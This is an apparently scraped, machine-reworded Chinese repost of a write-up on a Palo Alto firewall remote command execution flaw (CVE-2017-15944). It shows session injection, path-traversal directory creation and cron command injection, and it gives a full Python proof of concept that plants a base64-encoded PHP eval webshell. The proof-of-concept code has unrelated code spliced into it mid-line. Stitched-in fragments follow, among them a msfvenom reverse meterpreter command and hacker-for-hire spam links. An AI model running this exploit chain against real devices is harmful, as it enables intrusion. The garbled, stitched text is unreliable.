c言语入门:PaloAlto长途指令履行缝隙关键技术剖析终篇(附POC )

访客4年前黑客文章1079

        这篇文章是对Palo Alto防火墙产品未授权长途代码实行缝隙(CVE-2017-15944 )中SESSION设置、任意目录创建、指令实行缝隙的技能分析。之前对该缝隙认证绕过部分进行了介绍,这篇文章是该缝隙的后续部分。

(一)SESSION设置

在认证绕过缝隙中,需求通过访问https://ip/esp/cms_changeDeviceContext.esp来设置SESSION中的user变量。在cms_changeDeviceContext.esp中,调用了panUserSetDeviceLocation($_SESSION['user'], $_GET['device'], 0, new php_string_argout()),这个函数的实现在/usr/lib/php/modules/panmodule.so中。下面通过调试该函数,来分析SESSION变量的设置。访问https://ip/esp/cms_changeDeviceContext.esp?device=4096:aaaaaaaa:bbbbbbbb,进入panUserSetDeviceLocation函数:

 

1、deviceStr指针指向的字符串就是传入的URL参数device的值:”4096:aaaaaaaa:bbbbbbbb”

 

2、调用panPhpConvertStringToLoc(char* deviceStr, pan_swal_config_loc_t* pLoc)函数,将deviceStr进行处理后存储在pLoc中,处理的首要逻辑如下:

 

 

1) 寻觅之一个’:'字符,将之一个’:'之前的字符串依照十进制转化为整数dNumber;

 

2)寻觅…第二个’:'字符,将之一个’:'与第二个’:'之间的字符串deviceName(剩余20h个,自动切断)仿制在4-24h字节处;

 

3)寻觅第三个’

研讨发现的几个基本问题:

:'字符,将第二个’:'与第三个’:'之间的字符串str2(剩余20h个,自动切断)仿制在24h-44h字节处;

 

4)假设有,持续寻觅后边’:'字符,将第n个’:'与第n+1个’:'之间的字符串strn(剩余20h个,自动切断)仿制在24h-44h字节处,掩盖本来的数据毕竟pLoc的结构如下:

 

 

3、调用panPhpSetDeviceForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *errMsgBuf, pan_uint32_t bufSize)函数,参数devName字符串就是pLoc结构中的devName字符串,在该输入中,为”aaaaaaaa”。panPhpSetDeviceForSession调用panPhpSetDeviceAndVsysForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *vsysName, pan_char_t *errMsgBuf, pan_uint32_t bufSize),参数devName字符串就是pLoc结构中的devName字符串,在该输入中为”aaaaaaaa”;参数vsysName字符串为“vsys1”。

 

panPhpSetDeviceAndVsysForSession的要害处理逻辑如下:

 

1)调用panPhpConvertLocToString,回来“8:aaaaaaaa”

 

2)通过panPhpSetSessionVar函数,将session变量dloc设置为“8:aaaaaaaa”

 

3)通过panPhpSetSessionVar函数,将session变量loc设置为“16:aaaaaaaa:vsys1”

 

 

4、根据上述分析,假设像上篇文章(http://www.freebuf.com/articles/es/159119.html)相同,输入https://ip/esp/cms_changeDeviceContext.esp ?device=aaaa:bbbb’”;user|s: ,则dloc的数值为 8:bbbb’”;user|s,loc的数值为16:bbbb’”;user|s:vsys1,读取的session的数值为 dloc|s:15:8:bbbb’”;user|s”;loc|s:22:”16:bbbb’”;user|s:vsys1″;

 

(二)任意目录创建

 

向https://ip/php/utils/router.php/Administrator.get运用POST办法提交如下数据:

 

{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']"        async-mode='yes' refresh='yes' cookie='../../../../../../tmp/hacked'/>u0000"}],"type":"rpc","tid":713}

 

会创建/tmp/hacked文件,下面临原理进行分析:

 

1、router.php文件中界说了ExtDirect_Router类,该类承继自RouterAbstract

 

2、router.php新建ExtDirect_Router目标,并顺次调用getResponse()=>>dispatch(),在dispatch中对POST提交的数据进行 *** ON处理,收到的POST数据为:

{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']"        async-mode='yes' refresh='yes' cookie='../../../../../../tmp/hacked'/>u0000"}],"type":"rpc","tid":713}

处理之后赋值给request变量,requet变量的数值如下:

 

 

3、将request变量提交给rpc($request)函数,在rpc函数中通过call_user_func_array(array($instance,$method), $params)调用PanDirect->execute($params)

 

 

4、PanDirect->execute($params)的逻辑如下:

 

1)checkValidRemoteCall对类、办法、是否为静态办法进行断定;

 

2)$obj = $reflection->newInstanceArgs(array($jsonArgs));树立Administrator类;

 

3)$obj->$method();调用Administrator类的get办法

 

 

5、Administrator.get办法调用Direct::getConfigByXpath()函数,构成的xml如下图:

 

   

 

6、毕竟通过MSCommection.php中的writeaPayload函数将xml字符串发送给后台进程mgmtsrvr

 

7、mgmtsrvr中的pan_mgmtsrvr_client_svc函数接纳的数据如下。/tmp/hacked’/>之后,有个0字节,构成数据切断

 

 

8、毕竟在libpanmp_mp.so.1中的pan_jobmgr_store_job_result函数中运用途径回溯,树立了/tmp/hacked文件夹

 

 

(三)指令实行

 

1、检查/etc/cron.d/目录下的文件,此目录下寄存的是体系级使命的使命文件。下面有个indexgen文件,会在0、15、30、45分钟的时分实行genindex_batch.sh脚本:

 

SHELL=/bin/bash

0,15,30,45 * * * * root /usr/local/bin/genindex_batch.sh

 

在genindex_batch.sh中调用了/usr/local/bin/genindex.sh脚本

 

2、genindex.sh中构成指令实行的要害代码如下,其间PAN_BASE_DIR=/opt/pancfg/mgmt

 

 

3、指令实行

 

1)运用文件夹创建缝隙,发送

{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']" async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==".decode("base64")) ;'/>u0000"}],"type":"rpc","tid":713}

 

2)创建文件夹/opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(“Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==”.decode(“base64″)) ;,其间base64编码数据解码
标签:标题
之后的数值为f=open(‘/var/appweb/htdocs/vudrc.php’, ‘w’);f.write(“<?php @eval($_POST['chvuc010']);?>”);f.close();

 

3)genindex.sh实行的时分,实行的`find $day -mmin +5 -name pan.*.log | sort -r` 成为`find /opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec(“Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==”.decode(“base64″)) ; -mmin +5 -name pan.*.log | sort -r`,构成指令注入。

 

4)最多15分钟后,在/var/appweb/htdocs/vudrc.php写入一句话木马,暗码为chvuc010

 

(四)poc
 
import urllib
import urllib2
import ssl
import sys

ssl._create_default_https_context = ssl._create_unverified_context

domain = "192.168.1.1"

#pass auth
print "step 1: pass_auth"
pass_auth_url = "https://" + domain + "/esp/cms_changeDeviceContext.esp?device=1024:bbbb'";user|s:"
print "pif (CurrentFlags & FLAG_FIRST_THREAD) {ass_auth request: " + pass_auth_url
request = urllib2.Request(pass_auth_url)
response = urllib2.urlopen(requeRemove-MailboxExportRequest -Identity 'test.com/Users/test1MailboxExport' -Confirm:$falsest)
print "pass_auth respone: " + response.read()
session_start_index = response.headers['Set-Cookie'].find("PHPSESSID")
if session_start_index == -1:
print "pass_auth fail!!"
sys.exit()
session = response.headers['Set-Cookie'][session_start_index:]
session = session[:session.find(';')]
auth_headers = {
'Cookie':session,
'Connection':'keep-alive'
}


print "n"
print "step 2: check if pass auth"
auth_url = "https://" + domain + "/php/utils/debug.php"
print "auth_url request: " + auth_url
request = urllib2.Request(auth_url, headers = auth_headers)
response = urllib2.urlopen(request)
content = response.read()
#print content
if "Debug" not in content:
print "pass auth fail!!"
sys.exit()
print "pass auth success!!"


print "n"
print "setp 3: create dir"
create_dir_url = "https://" + domain + "/php/utils/router.php/Administrator.get"
print "create_dir request: " + create_dir_url
post_data = "{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']" async-mode='yes' refresh='yes' cookie='../../../../../../opt/pancfg/mgmt/logdb/traffic/1/* -print -exec python -c exec("Zj1vcGVuKCcvdmFyL2FwcHdlYi9odGRvY3MvdnVkcmMucGhwJywgJ3cnKTtmLndyaXRlKCI8P3BocCBAZXZhbCgkX1BPU1RbJ2NodnVjMDEwJ10pOz8+Iik7Zi5jbG9zZSgpOw==".decode("base64")) ;'/>u0000"}],"type":"rpc","tid":713}"
request = urllib2.Request(create_dir_url, headers = auth_headers, data=post_data)
response = urllib2.urlopen(request)

print "n"
print "15 minutes later, visit https://" + domain + "/vudrc.php"

*本文原创作者:xmwanth,本文属FreeBuf原创奖赏方案,未经许可制止转载

c言语入门:PaloAlto长途指令履行缝隙关键技术剖析终篇(附POC )

CONFIG_CONNECTOR=y最简略的比如是运用官方docker客户端访问docker.sock文件(例如你可巧访问到了已设备docker客户端的容器,或是你可以设备docker客户端)。要运用它很简略,你可以工作
c语言入门
常规的docker指令,包括exec来获取shell:PaloAlto远程命令执行漏洞关键技术分析终篇(附POC )

c语言入门文中还提及,包括Samsung(三星)和Crucial(英睿达)在内的多种固态硬盘产品,加密机制存在缺陷,未对硬盘数据完结无缺加密,可无需暗码轻松完结加密机制绕过。这个模块可以运用有用的管理员用户名和暗码来在一台或多台主机上实行任意指令,这个模块是非常有用的,由于它不需求向政策主机上传任何的代码。因此,在一个新的metasploit结构中,我们就可以运用Web发送模块来获取到恶意dll代码,并在政策主机上完结任意指令实行。要了解有关AppLocker的更多信息,并且获得有关怎样创建并检验健壮的AppLocker战略的进一步教导,请参阅Oddvar Moe的AppLocker案例研讨,以及Aaron Margosis的AaronLocker东西。

可以运用如下指令间断查询:Windows上的进程归于一种安全的政策,可以阻遏已登录Windows主机的某个用户危害其他用户的进程。至少从非管理员的用户角度来看,这是一种非常重要的安全特性。在这种安全特性下,非管理员用户无法损坏任何进程的完整性。可是,这种安全屏障在针对管理员、特别是具有调试(Debug)权限的管理员时会显得捉襟见肘,由于启用这种权限后,管理员就可以无视进程具有的安全特色,翻开任意进程。c语言入门

0x0D 内存溢出msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat现在期望我们可以专注一点,初步吧!

IS

我们可以从VMRay挟制辨认服务(VTI)供应的详细信息中了解到,VMRay发现政策会检验进行沙盒检测,并且把这种行为符号成了“高度可疑”。(3)然后再运用launchd注册许多的服务,期望这些服务的port的ipc_entry会重用之前被开释的send right。 cat local.propertiesPaloAlto远程命令执行漏洞关键技术分析终篇(附POC )

c语言入门安卓logcat信息泄露的情况在早年的乌云上宣布过许多起,例如: pwd考虑到正则匹配简略误报漏报,有厂家扔掉了这种分析方式,转而
PaloAlto远程命令执行漏洞关键技术分析终篇(附POC )
做语义分析。长亭科技的SqlChop就是如此,概略可阅读SQLChop - 一个新式 SQL 注入检测引擎

其实说的afl-fuzz我们都不会很陌生,afl-fuzz是Linux用于fuzz文件格式,协议等二进制缝隙的神器,而winafl则是afl-fuzz的Windows版,最近我对winafl进行了一些浅层研讨,由于之前也进行过一段时间的二进制缝隙开掘,但基本上都是停留在手工开掘上,越发觉得自动化神器功用的健壮,也为往后自己开发fuz *** 西供应了很重要的教导根据。1. 供应 root 后门2.1 SSH相关c语言入门

由于之一种办法首要在同一进程中运用,因此我们首要注重后两种情况,只需Bound Service显露,那么便可以编写恶意app,通过Messenger和根据AIDL的Bound Service进行跨进程通讯,传入污染的数据或许直接调用被侵犯运用的功用,毕竟对安全发作非预期的影响。为了完结以上政策,最直接、有用的办法就是找到具有AD处理员权限的账号暗码信息。而这时我们首要想到的一般是神器Mimikatz,协作一些小技巧,不需求依托缝隙提权,只需处理稍微有所松懈,黑客在内网中就可如入无人之境。

假设你正好运用K9 Email,那么可以进入Account Settings | Cryptography,选择OpenKeychain用作你的加密解决方案。之后,K9就会从OpenKeychain获取你的加密密钥,其他的成为前史。

PaloAlto远程命令执行漏洞关键技术分析终篇(附POC )

一起Kill Chain可实行以下侵犯阶段:

这儿也需求留心几个问题:

[1][2]黑客接单网


本文标题:c言语入门:PaloAlto长途指令履行缝隙关键技术剖析终篇(附POC )

相关文章

解析微信「看一看」的价值与产品细节

解析微信「看一看」的价值与产品细节

关于微信的「看一看」板块,除了人们所诟病的「在看」功能外,很多人对他的认知都仅限于微信版的今日头条,但作为「看一看」的日活用户,笔者还是发现了其与众不同的一些特点,详情请移步正文哦~ 关于看一看,除...

蚂蚁庄园4月28日答案 骡子是什么动物杂交而来的?

蚂蚁庄园4月28日答案 骡子是什么动物杂交而来的?

骡子是什么动物杂交而来的?小编就给大家带来蚂蚁庄园4月28日蚂蚁庄园答案。 4月28日蚂蚁庄园答案题目:骡子是什么动物杂交而来的? 正确答案:马和驴...

装B黑客软件手机版,黑客常见的入侵手段

装B黑客软件手机版,黑客常见的入侵手段

一、装B软件手机版黑客接单流程 1、找黑客方法当然,还有一个人在黑客和入侵者之间。装B软件手机版常见的入侵手段但是到了今天,黑客这个词已经被用来指那些专门用电脑毁灭或恶作剧的人。XXX装B软件手机版防...

Laravel 8 反序列化分析

Laravel 8 反序列化分析

forwardlaravel的版本已经到了8;这里分析一个laravel8的反序列化漏洞,但是让我感到意外的是,这个漏洞竟然在低版本的laravel上依然可以存在,从根本来说这个漏洞是laravel的...

飞行员发前女友不雅照被判赔1万什么情况 具体事件始末详情回顾

【飞行员发前女友不雅照被判赔1万】9月9日媒体报道,“某航空飞行员散布前女友不雅照”案二审已宣判,法院驳回上诉,维持原判,飞行员张某向秦女士书面致歉,并赔偿1万元精神损失费。一审法院查明,2019年5...

找黑客抢房-黑客定位先定位后付款(黑客定位先定位后付款怎样找到黑客)

找黑客抢房-黑客定位先定位后付款(黑客定位先定位后付款怎样找到黑客)

找黑客抢房相关问题 自学成为黑客的难度相关问题 怎么学黑客知识 十大黑客组织排名(匿名者黑客组织官网) 黑客论坛...